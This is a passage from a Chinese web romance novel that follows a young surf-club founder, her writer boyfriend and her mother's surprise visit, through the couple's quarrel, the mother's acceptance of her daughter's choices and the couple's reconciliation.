时间已过零点,闻知屿左等右等实在等不住了,大步冲下楼,扛麻袋似的扛起窝在沙发上敲键盘的韩暑,“上楼睡觉!” “喂!放我下来我还没忙完呢!”韩暑扭动挣扎。 闻知屿三两步跨上台阶,“不放,睡觉!” “不行!” 楼梯扶手近在咫尺,韩暑立刻去够,谁料闻知屿稍一转身,救命稻草便飘远了。 “天天熬夜对身体不好。” “你不也熬夜嘛!” “我是为了等你。”闻知屿踢开门,矮身进入主卧。 “我不用。”韩暑脑瓜还停留在今天救生员的值班情况,不高兴地嘟囔,“之前你工作的时候也没见这么养生,到我就双标?” “女孩子。”闻知屿把她卷进被子,“劳逸结合。” 在绝对的武力镇压下,韩暑放弃抵抗,“你最近很闲?” 闻知屿亲了下她气鼓鼓的脸颊,“白天你在俱乐部,我把该忙的都忙完了。” 韩暑不服气,“闲的话去玩跳跳杆啊,玩滑板呐!以前那么多活动,现在怎么只会在我旁边捣乱?” 闻知屿摇头,垂下眼睑,“以前没有你。现在只想和你在一起,做什么都行,什么都不做也行。” 他说得认真。韩暑事业心压住的恋爱脑被唤醒了一点点,语气软了下来,“我最近确实,没有怎么陪你……等忙过这一阵,俱乐部迈上正轨之后补偿你,行嘛?” 闻知屿翻身在她旁边躺下,枕住手臂,另一只手玩闹似的勾她的手指,“怎么补偿?” “那你想怎么补偿?”韩暑豪迈道,“都听你的。” 闻知屿发出意味不明的笑声,而后侧躺,目光如炬,“都听我的?” 韩暑已觉不妙,但出于愧疚,梗着脖子装大气,“嗯!你说怎样就怎样!” 下一秒,正对的主卧顶灯连同暖色灯光一并被遮住了。 闻知屿倾身而来,黑眸幽暗,薄唇边笑意晃眼,“我不寄存,现在就提现。” “嗯——” 不等韩暑明白话中隐藏的含义,微张的唇瓣便被撬了开来。 闻知屿的手掌抚过她的发心,抚过她纤细的颈侧,而后用力扣住她的后腰,将人死死箍在怀中,半点都逃脱不得。 在来势汹汹的吻中,韩暑渐渐停止了挣扎,攀着闻知屿的肩背,眼角沁出一滴又一滴泪珠。 闻知屿半睁的眸子一凝,旋即放过了那已然嫣红的唇,在她紧闭的眼尾落下一吻。 又一滴泪水咸咸地划了开来,他哑声问:“生气了?” 韩暑胡乱地用手背蹭蹭脸颊,“没有。” 下一吻落在眼皮,“那怎么哭了?” 韩暑别开脸,“没有。” 下一吻落在眉心,“嗯?” 眼看他跟自己扛上了,韩暑终于睁开眼,“我没生气!” 闻知屿没错过杏眸中汪着的水和刺目的红血丝,“那是怎么了?说话。” 两束车灯在纱帘上拖出冷白的残影,男人清俊的面容忽明忽暗。 韩暑捏着他瘦削的下颌,晃了晃,像自言自语、“你为什么会喜欢我呢?” 闻知屿愣怔,“什么?” 韩暑怅然,神色却格外专注,“你是一个很优秀的青年作家,事业有成。我只是一个普普通通的人,还不知道现在这条路能不能走通、未来又会如何。” “说什么胡话呢?”闻知屿掐住她的腮帮,“怎么会有这样的想法?” “想法一直有的。”韩暑落手,食指勾住他居家服的衣领,“开始创业之后就更频繁了。春景说过,开店要以年为单位去努力,我接受了,也愿意去尝试。可如果失败了呢,我又该去做什么?” “无论成功失败,都有我。”闻知屿坚定。 韩暑自嘲地笑了下,“感情需要的是对等的付出。我免费住在你的房子,三只猫的费用你负责,往返有你接送,短期内或许可以,但时间长了呢?一想到这,我就觉得必须要在努力一些。我不能失败,客观条件也不允许我失败。” 闻知屿撑臂靠在床头,让韩暑枕在他胸口,近这么拼,是因为这个原因?” “原,“我确实喜欢冲浪,也想通过俱乐部传递这种快乐。但有些事情做起来,现在风评还没完全扭转,后台还经常收到辱骂攻击的私信。在摩托艇没达成共识,薪资和值班排班复调整,进货量把握不准,有时候断货有时候放到水果坏掉都用不完。好愁……” 闻知屿五指穿过她已及背的发丝,“那怎么不找我帮忙?” 韩暑用力摇头,,“不要。” “开店,我确实不太懂。但我可以打下手,就像说,“我是你的男朋友。” “不要。”韩暑再次摇头。 闻知屿有些失落,又有些心疼,温声道:“谁不是普通人?我是个出了几本书的普通人,除了经济条件说得过去,还有什么拿得出手?这样的家庭,这样的性格,别说体贴了,连做饭都不会,拿现在的话说叫生活不能自理。非这么说,是我配不上你才是。” “你胡说。”韩暑仰起头来看他,“你的脸也能拿出手。” 闻知屿失笑,“嗯,勉强算一个优点吧。但你不一样,你知道怎么种植物,知道怎么照顾猫猫,浑身上下哪哪都是优点。” “这算什么优点?”韩暑戳他的肋骨。 闻知屿又疼又痒,瑟缩了下,语调却还平稳,“你都不知道,你答应离婚跟我的时候,我有多开心!我就像阴暗墙角里的一块苔藓,你是阳光下的参天大树……不对,你就是阳光本身。” 有些话从作家的嘴里冒出来,听起来就不只是夸人了。韩暑耳朵红了,“你、你这比喻用得太夸张了!” “你懂我意思就行。”闻知屿也后知后觉地害臊,“咳,反正我就是喜欢,这辈子都喜欢,你变成什么样我都喜欢。不许再提这样的话。” “还霸道得不行。”韩暑哼了一声,心里甜丝丝的。 “嗯。”闻知屿伸出长臂关灯,将人搂进怀里,粗声粗气,“睡觉。” 韩暑找了个舒服的位置,圈住他的腰,“晚安。” 闻知屿喉结滚动了好几下,生生忍住了胸腔翻腾的火焰,“晚安。” 虽然闻知屿提出抗议,但韩暑依旧不改拼命三娘的作风,依旧早出晚归天天加班。 她很清楚,和闻知屿之间的差距,并不因为他的表白而抹平。她并不自卑,但也不够自信。这种不自信的根源不在于感情,而在于她自己。 从来琼岛散心到留在琼岛,都是为了追寻自己的热爱和价值。 韩暑要抓住自己的人生,要向自己证明自己,也要向父母证明,她完全能够按照自己的想法生活。只有这样,她才能光明正大地牵起闻知屿的手,告诉父母这是她的男朋友。 可惜,计划赶不上变化。 这天清晨,闻知屿照常送韩暑来后海。两人拉开店门,一人一杯咖啡坐在台阶上欣赏万里无云的蓝天,吹着徐徐海风等待营业时间到来。 这是他们全天唯一能悠闲地待在一起的时间。 闻知屿将最后半杯一饮而尽,“你做的咖啡越来越好喝了。” “是吧。”韩暑双手捧着马克杯,盈盈一笑,“一十块钱,扫码还是现金?” 闻知屿舌尖轻点后槽牙,“没有第三个选项吗?” 韩暑睁大眼睛,“你要吃霸王餐?小心我报警。” 闻知屿放下杯子,搂着韩暑的肩膀,凑到她耳边悄声道:“我的意思是,肉/偿。” 韩暑瞳孔微缩,脸颊烧红,“你变态!” 闻知屿吻了下她的唇角,理直气壮,“嗯,就对你变态。” “噫!!!”韩暑皱了脸,“不许油腻闻老师!” “油腻?” 闻知屿不服,箍着她的腰,结结实实地索要了早安吻。不知过了多久,才意犹未尽地撤开少许,呢喃,“勉强还了三块,剩下十七块钱回去还。” 在一起这么久,面对他不加掩饰的欲念,韩暑还是害臊,连连摆手,“不不不,这怎么算都够了。还清了!” 闻知屿勾唇,“不够,你不是——” “韩暑。” 台阶下,传来韩暑熟悉到骨子里的声音。 她垂直起跳,险些将杯子摔在地下,还是闻知屿眼疾手快扶住才免去一场灾难。 韩暑三两步跑下台阶,手背在身后紧紧攥拳,好半天才颤巍巍地叫了一声,“妈……” 第55章 第55章【VIP】 徐英提着一只黑灰色的旅行包,冷淡的视线在韩暑和闻知屿身上逡巡,最终落在了刚挂起不久的新门牌上。 “妈,这个时间您怎么过来了?”韩暑局促地咬着唇,心里直打鼓。创业大计才刚开始还没整出名堂,男朋友就惨遭曝光,她不敢想徐女士会怎样长枪短炮勇猛袭击。 徐英面无表情,连语气都是一潭死水,“周末有空,来看看。” 说罢,她和韩暑擦肩而过,途经闻知屿身边也无只言片语,径直进了店。 自从再回琼岛,韩暑每隔一两天都会主动联系父母,问问身体和工作近况。她能感觉到,父母的态度有微妙的变化,比如不再执着于让她回北城找工作,也不再对她瞎晃荡的行为出言讽刺。 当然,冷嗤的鼻息还是说明了态度。 故而韩暑慌忙跟上,拉住闻知屿的手低声道:“你先回去。” 闻知屿黑眸一凛,原就有些僵硬的轮廓愈发紧绷。他反手扣住韩暑的手腕,“不打招呼就走,不合适。” “我妈来也没打招呼。”韩暑朝里瞄了几眼,见徐英在看照片墙,“以后再说,你今天先回去。” 闻知屿启唇,“阿姨来一趟,不管怎么说也要尽地主之谊——” 韩暑三两下把他推下台阶,急火火地挥手,“不需要,快走快走!” 闻知屿踉跄站定,还想说什么,便见她挤眉弄眼外加眼神警告,“快点!!!” “韩暑。” 串珠门帘相撞,传来徐英的声音。 “哎来了!”韩暑应了一声,又手背朝外冲闻知屿挥了挥,这才转身跑进店里。 徐英坐在吧台对面那桌,面朝门外,将一切尽收眼底,轻飘飘道:“怎么?怕我为难他?” 韩暑轻咳了声,“没有。” “那怎么不介绍一下?”徐英轻叩桌面。 见她紧绷着脸,韩暑的心更凉了。她太知道徐英的性格,闻知屿也不是很会说话八面玲珑的人,加上谈恋爱没和父母提起,多重因素夹杂,贸然介绍他势必要挨挤兑。 闻知屿的好,她再清楚不过。但要让徐英认识到他的好,还需要一番功夫。保不齐,徐英还会把她创业的事情算在他头上。 徐英抬眉,目光严厉,“问你话呢。” 韩暑没有犹豫,先是点了下头,“闻知屿,27岁。我男朋友。” 而后掏出手机,在浏览器输入闻知屿又摁下搜索,亮出屏幕的同时轻声道:“他是一位优秀的青年作家。” 徐英眯了眯眼,结果手机里浏览了一番,“什么时间的事?” “恋爱不到两个月,认识半年了……您怎么知道我在这?” “借走了攒的嫁妆还不说什么事,当妈的就不能查一查?”徐英冷哼,抬起一根手指朝四周转了一圈,“这就是你的店?” 这件事的来龙去脉太复杂,韩暑一时不知道从何说起。恰好小宇和刺猬从正门进来,她比了个手势,“麻烦在沙滩支一桌,早上店里的事情就交给你俩了。” “没问题。”小宇看了眼时间,“打算练一会?” “嗯。”韩暑又交代了下今天的课时排班,叮嘱刺猬换一下饮品菜单,*这才和徐英解释,“我去换泳衣,你、看看我近半年的成果呗?” 徐英不置可否。 韩暑利落地越浪进入待浪区,海岸变得遥远,沙滩上的人也变成了一个小点。海阔天空,她一人坐在板尾,坐在这无边无垠的宁静之中,紧张也一点点消退。 她要让徐英亲眼看到她的生活,了解她的热爱和坚持,感受她的快乐和自由。 离开四方的格子间,离开方方正正的电脑屏幕,世界是不规则的,是没有边界的。 人生也是。 浪来了。 韩暑与风同速,被白色浪花和湛蓝海水包围。她向板头挪了几步,后腿微屈靠近前腿,双臂自然地张开,像是一只姿态伸展的鹰,在海与天之间翱翔。 闻知屿缓步走过沙滩,在韩暑冲完一道大浪后绕过遮阳伞,欠身颔首,“阿姨好。” 徐英有瞬间的惊讶,但很快掩在了严肃的外表下,“你是?” “闻知屿,韩暑的……”闻知屿顿了顿,“男朋友。” 徐英面露审视,语气也夹枪带棒,“刚才落荒而逃,现在来找我什么意思?” 黑色衬衫领被海风吹起,闻知屿抬手抚平,“抱歉阿姨,当时没反应过来,应该和您打个招呼的。是我不对。” 徐子,却什么都没提,甚至没再给他一个眼神,“行,招呼也打了,你可以走了。” 闻知拳,眉眼低垂,语调却格外坚决,“或许这家俱乐部在您眼里是不务正业,靠谱是浪费时间,但这是小暑自己的人生,是她自己,我知道您关心小暑,希望她事业有成生活美满,所话,听听她的真实想法。” “你是说,我英轻哧,“你认识她多久,又有什么立场说这种话?” 闻知屿默了默,时无刻不在改变。现在的韩暑和半年前刚辞职的韩暑不同,和二十五年前刚认识她半年,确实没资格多说什么,。” 徐英终于正眼看了过去,男人面容冷峻,和说话的语气一样淡漠疏离,但她留意到,每次说道小暑两个字时,他都会不自觉漾开眉心。那是本人都未察觉的、出于本能的笑意。 她看了半晌,“你俩怎么认识的?” 闻知屿眼尾跳跃开来,“台风天,她住进了我的民宿。” 徐英顿了下,“你俩同居?” “……”闻知屿哑然,“住在同一栋别墅。” “同居。”徐英加重语气,“你是琼岛本地人吗?” “不是,在这里定居。”闻知屿如实道。 徐英又问:“那如果小暑之后回北城呢?” “她去哪我去哪。”闻知屿毫不犹豫。 “说得轻巧。”徐英意味不明地笑了下,“再者,看样子你俩关系还没到这程度,谈论这些为时尚早。” 闻知屿想起韩暑方才赶他走的坚决和焦急,五脏六腑都绞着痛。但他将一切担忧压回波澜不惊的外表下,沉声道:“这段关系,我会跟着小暑的节奏来。但我想让您知道,只要和她一起,去哪去做什么我都可以。这是我的态度,也是我的决心。” 日头渐毒,浪人也多了起来。韩暑从海里出来,拖着冲浪板走到遮阳伞下,“妈,您想喝点什么,我回去做。” 徐英正支着下巴,闻言回过神来,“不用。” 韩暑拨散湿漉漉的头发,察觉到她的目光后揪了下泳衣下摆。在徐女士眼里,连体吊带泳衣应该等同于伤风败俗。 原以为她要挨一顿数落,不想徐英冷不丁问:“开了这家店,你还打算回北城吗?” 韩暑一怔,“妈,我这刚开店比较忙,加上闻知屿也在这边,短期内还是想留在琼岛。至于以后……我还没考虑那么多。但是我一定会定期回去看您和我爸的。” “为了男朋友,想留在这?” “他是原因之一,但不是唯一的原因。” 徐英依旧没发火。她起身,一边向路边走一边说:“刚那小伙子来找我了,说愿意为了你去北城。” 韩暑刚闻言手一松,刚刚拾起的冲浪板再次栽进了滚烫的沙子里。 回到俱乐部,她连身上的沙都顾不得冲,拿起手机便拨通了闻知屿的电话。 “小暑?” 两道温柔的男声分别从听筒和右手边传来,在她脑海中形成回响。 韩暑侧首看去,闻知屿自树荫中走来,眼神是她看不懂的专注。当然,也没耐心去读懂。 一股难言的急躁和生气交织,她大步走了过去,横眉质问:“你为什么不经我同意去找我妈?你凭什么说愿意跟我去北城?!” 第56章 第56章【VIP】 炽热明媚的阳光被一朵乌云遮蔽,椰子树也由翠绿变为深绿。 闻知屿神色不变,但抄兜里的手已然用力攥紧,自手背到衬衫袖口未遮住的一截腕骨都暴起青筋,“我确定不太擅长人际交往。但既然见到了,还是应该打个招呼。” 韩暑狠狠摞了把湿漉漉的发,“我不是说了以后以后!而且你打招呼就算了,说什么去北城?你凭什么替我决定?” “阿姨问起,我就如实——” “闻知屿你怎么这么自以为是?”韩暑一把抽掉颈间的毛巾,用力一甩,“是,我们在恋爱,但还不到两个月的时间,这种人生大事你怎么张口就来?这是你说了就算的事情吗?” 闻知屿冷静的躯壳碎了一角,上前去拉韩暑的手,可刚碰到便被甩开。他面色几变,眉心拧成一个浅川,“我说了不算,那我听你的。你想怎么样,我都听你的。” “嘴上说听,你今天听了吗?!”韩暑语调飙升,“我未来怎么走在哪里生活,都是我和我妈要沟通解决的问题,你没资格插手!” 闻知屿垂眸,自嘲一笑,“没资格?” “没资格!”韩暑感觉早上喝的咖啡在胃里翻滚,又顶到了胸口,叫她喘不过气来。她不想再重复这些无意义的且已成定局的话,于是向泳池边冲沙的花洒走去。 身后,闻知屿轻声问:“韩暑,你就没想过我们的未来。” 韩暑顿住脚步,难以置信,“你说什么?” “不是吗?”闻知屿轻笑,“你来琼岛是因为旅行,长租是因为学冲浪,留下是为了俱乐部。我就像是——一个微不足道的插曲。” “你说这话就没意思了!”韩暑推他,“我不想跟你吵,等我妈回北城之后再说。” “这次是等阿姨走,下次是不是要等你走?” “我没说要走,你能不能不要被害妄想啊!”韩暑烦躁,“我最近真的很累,俱乐部已经让我筋疲力竭。你安安心心写你的书,其他什么都别管好不好?” 闻知屿偏头,下颌紧绷又僵硬,“俱乐部的事不让我插手,你自己的事也不容许我发表意见。我还是你男朋友吗?我们到底算什么?” 委屈感排山倒海而来,韩暑将唇咬得死紧,唇瓣都泛了白,好半天才颤声问:“你就是这么理解的?你觉得我对待这段感情不认真,在玩你?” “……不是吗?”闻知屿闭眼,竭力克制去看她的冲动。 “行……行!”韩暑深吸一口气,冷声道,“那我没什么好说的了。” 她扭头就走,没有一丝迟疑和停留。 冲沙,洗澡,换好衣服,拉着徐女士回了市区。 “这家还不错,你尝尝。”韩暑为徐英舀了碗鸡汤。 “这副表情,吵架了?”徐英拿起勺子,抿了一口,点点头,“还可以。” “没有。”韩暑强行挤出笑容,“就是想和您聊聊正事。” “嗯,说。”徐英将发丝别致耳后,双手抱臂靠进椅背。 从小到大,韩暑无数次见过徐英露出这样的表情,无数次在这样的情形下遭遇劈头盖脸的批评。 她紧张。 在徐英的注视中,韩暑喝了几大口茶水,思忖片刻后缓缓开口,“妈,我先给您介绍一下我的俱乐部吧。” 这是一个说长不长说短不短的故事。 一个被压抑被束缚的女孩冲动之下离开了熟悉的环境,去海岛散心。原只是散心,只是想跳出舒适圈,不想在克服恐惧和困难的过程中,爱上了这项运动,爱上了这种生活方式,也找到了想要努力的方向。 虽然,前方依旧被迷雾包裹,隐约露出的灯光也不知是灿烂阳光还是诱捕陷阱的光源,但她还是愿意放手一搏。 “我真的很喜欢现在的自己,走自己选择的路,承担自己的选择带来的后果。”韩暑用四根手指攥着拇指,不自觉前倾,“可能这样的选择在您和我爸眼里是幼稚是不切实际,但幼稚有什么不好?谁规定人一定要做正确的事?所谓正确的标准又是谁来制定的呢?我今年25岁,我的人生才刚刚开始,无论好坏,我都不后悔……妈,我不求你们理解我,只求给我一点空间和时间,可以吗?” 徐英沉默了很久很久,久到韩暑以为她不会再开口时,她却轻笑出声,“可以。” “啊?”韩暑瞪大眼睛。 要提溜你回家?” “……也不是。”韩暑嘟囔,“就是感觉,你和我爸肯 “是,我们是觉得不靠谱,也不想支持你去做这些不靠谱的事。”,“但只要,就够了。” 这次,韩暑彻底怔住了, 她已经想不起来母女二人上次这么心平气和的对话是什么时候了。 记忆中,徐英总是冷着脸,数落她的种种不是。 “把你养这么大,你就用这样的态度和我说话?” “我都没说什么,你还有情绪了?” “多大的人了,怎么还这么不懂事?” 无数道冷漠严厉的声音在脑海中回响。 那是她的成长路,是她的来路。 徐英重新拿起筷子,慢悠悠地吃了起来,“嘴巴闭上,傻样。” “妈……” 徐英淡笑,“这几个月,去医院的次数多,见到的病人多,终于理解了那句话。老师见的优秀孩子多,对自己孩子要求就多。医生见的生病孩子多,对自己孩子的要求——健康就好。” “那天去复查,碰见了一个十六岁的高中生。抑郁症,甲状腺肿瘤。她父母当着医生的面,说了一句‘你怎么这么没出息,学习学习不行,现在身体也不行’。那一刻,我突然想到你高三那年感冒请假,我批评你的样子……挺不是滋味的。” 韩暑鼻头一酸,赶紧闭上眼忍住氤氲的眼泪。 她至今还记得,徐英生气到直接撕了她三模的卷子,“退步一百多名,一点小感冒就不去上课,自暴自弃了是不是!出去别说你是我女儿、丢不起这人!” 徐英顿了顿,“甲状腺的问题是情绪病,我挨了这么一遭,真的不希望这样的事发生在我的女儿身上。只要这样的生活让你觉得快乐,我就没意见。” 韩暑再也抑制不住,任由泪水汹涌而出。 有些事情,变得不太一样了。 长久以来的担忧像羽毛一样飘走,心也沉甸甸地落在了地上。 徐英简简单单的一句话,韩暑获得了前所未有的勇气和底气。 母女二人吃过饭,沿着椰林长廊散步。 这个时间,有跑步的老头,有遛狗的青年,还有手牵手约会的情侣。 韩暑回头,去看那一对旁若无人接吻的年轻人。男孩单肩挎着包,紧紧握着女孩的手。两人的耳朵比落日还红。 “怎么,想你男朋友了?”徐英用惯常的语气嗤笑。 “没有。”韩暑不好意思地挠挠胳膊,“咳,走吧。有蚊子。” 徐英睨了她一眼,“我还不知道你了?有什么就说。” “咳。”韩暑舔唇,嗫嚅,“就是……短期内我肯定常回去看你和我爸,长期我还没想好。您能不能别要求闻知屿回北城啊?” 徐英蹙眉,“怎么?北城有什么不好?” “他就是北城人。”韩暑道。 “那不是更顺利成章?” 韩暑拉住徐英的手臂,正色,“闻知屿的成长经历比较特殊。他的生父生母在他四岁就意外离世了,之后在福利院长大。大学工作都选在南城,就是为了离开过去的环境。北城有他不愉快的记忆,我不想他因为我委屈自己。” 徐英讶异,沉吟不语。 “妈。”韩暑晃手,“他很好,特别好。如果不是他,我不可能这么勇敢地迈出无数个第一步,我也不可能像现在这么快乐。我真的特别喜欢他,我也一定会平衡好的!” 徐英第二天一早的飞机,韩暑一路送到安检口。 “回去吧。”徐英接过旅行包。 韩暑上前,用力抱住徐英愈发瘦削的肩,“您登机给我发消息,落地也给我说一声。” “嗯。”徐英挥挥手,“好好干,我走了。” 好好干。 韩暑拦了辆车回别墅区。一路上因为激动心跳都快得吓人,差点没从嗓子眼蹦出来。她好想告诉闻知屿,她爸妈同意她开店了她不用偷偷摸摸了。徐女士也默认了他们的关系,在回不回北城这件事上也不再强求。 未来,他们终于可以好好商议一下未来。 韩暑指纹解锁,换了鞋就往里冲,“闻知屿?闻知屿!” 一楼静悄悄。 “人呢?还没起床?” 韩暑顺手拉来客厅的窗帘和窗户,让徐徐微风吹进房间,也一并吹进敞开的心房,然后三步并作两步跑上楼,径直推开卧室门,“闻知屿,跟你说个好消息,我——” 雀跃的嗓音戛然而止。 此刻已是十点半,卧室的床帘依旧拉得严实。黑暗中,她看到闻知屿缩在沙发旁的墙角,手腕搭在屈起的膝盖,身形佝偻。 听到动静,他抬起了头,露出了布满血丝的双眼。 走廊的阳光照不进那浓郁的墨色,驱不散他眉宇间的茫然无助。 韩暑慌了神。立刻冲了过去,拉住他的手,“你怎么了?” 闻知屿的瞳孔像被万年冰川冷冻,呆愣愣地看着她很久。待他开口,嗓音如被砂纸打磨过一般沙哑干涩,“对不起,都是我不对。你能不能不要离开我?” 第57章 第57章【VIP】 闻知屿又在搭积木了。 脑海中的积木。 红色搭红色,蓝色搭蓝色,剩下的颜色混在一起,算作坚实的围墙。 他从膝盖之间抬头,顺势靠墙。胸腔只是轻微震颤,围墙瞬间裂了几道口子,城堡也随之崩塌。 时间的流速令人捉摸不定。有时候很慢,度秒如年。有时候很快,白驹过隙。还有时候…人会忘掉时间的存在。 闻知屿坐在黑暗中,忘记了时间,忘记了身处何处,甚至忘记了那些击碎他的话语。 思维混沌,五感抽离。他像那只被人类送进太空的小狗,心怀回到地球回到家园的期待,又因为无止境的期待陷入无止境的绝望。 那扇门始终紧闭,和记忆中分毫不差。 过去,现在,未来,在闻知屿失神的双目中汇聚成一个致密的点。 当一只冰凉又柔软的手,抚过他已然麻木的脸颊,新鲜清冽的氧气席卷,真空舱从内侧被冲了开来。 闻知屿不知道真是现实还是幻想,薄唇木然翕动,“对不起,都是我不对。你能不能不要离开我?” 现实也好,幻想也罢。 都不要离开。 “闻知屿。” 和拥抱一并传来的是女孩略带哭腔的声音。 闻知屿的鼻梁蹭过凹凸不平的花边衣领,带着不规律的气息寸寸移动,最终埋在那节裸露的侧颈,用尽全力呼吸,像离开水的鱼,恨不得沉溺在这一汪海水里。 韩暑一下下抚着他的发心、后颈和肩背,因为强行按耐慌乱,嗓音有些颤抖,“我不走,你赶我我也不走!” 闻知屿周身僵硬,连抬起手来回抱这么简单的动作都做不到。 “我今天就是、就是气头上乱说话。我妈来的突然,我就想先和她聊一下近期规划嘛……只有说服她接受我的事业,才能挺直腰杆和她说,闻知屿是我的男朋友,无论未来如何,我都想和闻知屿一起走。”韩暑越说越坚定,可越说越觉得无法用语言精准表述,只恨不得把心掏出来。 闻知屿缓缓抬起头来,薄唇自颈侧、耳垂一路蜿蜒至圆鼓鼓的腮帮,额头抵上韩暑的额角,蹭着那一层毛茸茸的碎发。 韩暑有点疼,还有点痒,但硬是忍着没动,撇着嘴,“你就相信我嘛!” 闻知屿依旧不吭声。 韩暑急了,蹲到麻木的腿顺势一沉跪在地板上,双手捧起他的脸,“我不让你见我妈是怕她对你不客气。你也见识过我妈的脾气,我挨批评挨揍就算了,但我不能让你受委屈。” 四目相对,眼底的情绪都清晰可见。 闻知屿垂下眼睑,试图隐藏此刻的脆弱,“我就像个废物,什么都为你做不了。” “你胡说什么呢!我不需要你为我做任何事,我不需要你牺牲自己!我……我——” 语言太过贫瘠,故而韩暑捏住闻知屿的下巴,用力吻了上去。 唇齿相贴,像久旱逢甘霖,两人都不由自主地向对方靠近,再靠近。韩暑手臂环着闻知屿的颈,闻知屿的大掌握着韩暑纤细的腰。她的腹紧挨着他的胸膛,他敞开的长腿箍着她的腿侧。可即使如此,还是不够,还是想更近一些。 闻知屿右手一用力,将人提了起来。 韩暑陡然失重险些惊呼出声,下一秒便重重坐在了他硬邦邦的腿上。和地心引力一并袭来的,是比方才更热烈的亲吻。 她穿梭云间,坠入大海,扒住冲浪板向岸边疾驰,又埋进暖洋洋的沙里静止。 当脊背陷入柔软的大床,韩暑呼吸都停了。她维持缺氧的状态,憋红了脸,瞪大眼睛一个劲盯着闻知屿看。 咫尺之间,闻知屿用高挺的鼻梁摩挲她小巧的鼻尖,欲念冲至大脑皮层,却奇迹般地唤回了丢失的理智。 他和韩暑吵架了。 吵完架非但没有主动道歉,反而是韩暑哄他。 他又犯病了,还让最不想被撞见的人看到这副模样。 他还、他还—— 闻知屿翻身而起,坐在床边埋头粗喘。肺部吐不干净的浊气,提醒着他的不堪。 韩暑双肘撑住床,慢慢直起身,“你、你怎么了?” 闻知屿没回头,哑声道:“抱歉。” 韩暑这会体温高脸颊滚烫连带大脑都不太灵光,还没搞明白这没头没尾的抱歉是怎么回事,见他站起来要走,赶紧探身拉住他的手腕。 闻知屿措手不及跌坐了回来,下一秒,温香软玉便重新入怀。 ,“你去哪?” 闻知屿想挣开,可感受到坠,手腕一转,掌心由外向内,将人搂了个结实,,去工作。” 韩暑收紧手臂,借着走的目光,闻知屿向反方向别过脸,眼皮颤动。 见他神色恢复,韩暑先是放下心,可放得太猛, 这一刻,他的脆弱难堪无处遁逃,赤裸裸的摊开在她的面前。这一刻,她想起了第一次见面时清冷疏离的民宿老板闻知屿,想到了在人群簇拥中宠辱不惊的作家闻知屿,想到了缠着她问问题玩游戏的幼稚鬼闻知屿。 他既简单,又复杂。他很纯粹,又很多面。 可韩暑唯独没想过,他会露出这样神色,像一个无家可归的破碎的小男孩,茫然,无助。 也是这一刻,她惊觉,他们已经很久没有一起聊天玩游戏,一起喂猫种花了。闻知屿也很久没有发自内心地笑过了。若不是闻知屿坚持接送她往返后海,他们每天又能说的了几句话? 韩暑一个没忍住,眼泪忽闪闪地流了下来,砸进闻知屿凌乱的衣领,“对不起,我最近总想着忙工作,都没好好陪你。” 闻言,闻知屿愈发羞愧,自嘲地笑了,“你最近压力这么大这么忙,还要你陪着我……” “嗯,要陪你。”韩暑吸鼻子,“就像你每天坚持开车接送我,陪我上班一样。” 闻知屿依旧垂着眼皮,“我说的话你别放在心上,是我不对——” “是我不对,没有提前和你沟通。”韩暑用手指抵住他的唇强制禁言,“我确实着急让俱乐部迈上正轨,因为只有站稳脚跟并且让我爸妈接受,我才有底气去考虑我们的未来。不想让你插手是因为……” “因为什么?”闻知屿立刻追问。 韩暑下巴搭在闻知屿肩上,因为不好意思语气都低了下去,含糊道:“因为怕你发现店里在拆东墙补西墙,财大气粗往里投钱……我不想要你的钱。” 闻知屿蹙眉,“所以问父母要了钱,阿姨也是从这发现了端倪?” “昂。”韩暑耷拉着眉眼,“哎呀反正我就是想独自解决所有问题,找到存在的价值,站稳脚跟。” 闻知屿半是生气半是无奈,顺着披散的发,抚着她的后脑勺,“我是外人吗?冒险跟爸妈借钱都不跟我开口?” “嗯。”韩暑用尖尖的下巴戳他肩膀,“你只需要安安心心当老板娘,其他都归老板操心。” 闻知屿长叹了口气,吻过她的发心,“知道了,不谈钱。那劳动力呢?作为老板娘,出点苦力总行吧?” 韩暑转转眼珠,装模作样想了一会,“那就看老板心情。” “那等老板心情好的时候,我再来应聘劳力。” “可以。”韩暑勾唇,“那以后,我们所有事都商量,好不好?” “好。”闻知屿温声应。 听出语气舒缓,韩暑扭了扭腰,趁机偷瞄他。 闻知屿脸色确实好看了些,抱着她的力道也恢复如常,但还是不看她。 韩暑掰正他的脑袋,额头抵额头,“还在生气嘛?” 闻知屿不得不和她对上眼,只得再次垂下眼皮,不自然地清嗓子,“没有。” “没有你躲什么?都不看我。”韩暑用手指强行提溜他的眼皮,“说!老实交代!” 闻知屿被她折腾的眼珠子都快掉出来了,只得投降,攥住她的手腕,“今早状态不好,让你看到我那样……” 韩暑瞅他那害羞自闭的模样,扑哧笑了,“怎么着?感觉丢了形象,怕我不喜欢?” “……嗯。”闻知屿梗着脖子,鼻子出气。 韩暑越看闻知屿绷着脸的样子越觉得可爱,狠狠吧唧了他一口,“你就放心吧闻老师,我见过你摔狗吃屎,也不影响我现在这么喜欢你啊?” 闻知屿瞳孔地震,语调飙升险些破音,“什么?!” 时隔半年,韩暑终于放声笑了出来,“哈哈哈哈哈哈哈就我入住那天你玩跳跳杆,我扒窗户其实全看到了哈哈哈哈哈哈哈哈!” “……”闻知屿的沉默震耳欲聋,脸颊也偷偷染了红。 韩暑窝在闻知屿怀里笑了个痛快,还不忘用拇指摩挲他的唇,“别说,你薄唇好看,物理丰唇之后也好看。怎么都好看。” 闻知屿:“……” 里子面子都没了,闻老师自暴自弃,失去了所有力气。 “好啦!”韩暑指尖轻点闻知屿的眉心,强行抚平褶皱,“我想说的是,你什么样我都喜欢。帅气的时候喜欢,出糗也喜欢。至于今早,我完全不会觉得破坏形象。恰恰相反,我心疼,心疼得不行,也内疚得不行。都怪我没好好跟你说。” 闻知屿心头一暖,偏头吻她的手指,“怪我,是我太敏感太脆弱。” 韩暑仰头笑,“没关系,你可是小王子哎!我希望你永远都做,那个能在台风天玩跳跳杆的小王子。” 闻知屿摇头,认真道:“我只想永远都做韩暑的男朋友。 第58章(正文完) 第58章 第58章【VIP】 乍一听,还挺感动。可还没感动两秒,韩暑的笑容凝固,取而代之的是狐疑。 “只是、男朋友?” 闻知屿也发觉了盲区,沉吟片刻,“男、人?” “我男人?”韩暑反复咀嚼这三个字,又乐了,用力点头,“嗯,我男人。” 闻知屿唇角直线起飞,又强行克制,最终呈现出下半张脸持续抽搐的不太聪明的模样。 “傻。”韩暑表面嫌弃,实则把人抱得更紧了,“我怎么那么喜欢你呀?” 闻知屿这下忍不住了,唇边笑意晃眼,“你男人也喜欢你。” 韩暑心满意足,又吧唧了一口。 闻知屿捏着她的后颈加深了这个吻。 和方才溺水时汲取氧气的迫切不同,此刻是心意相通爱意氤氲的缠绵。 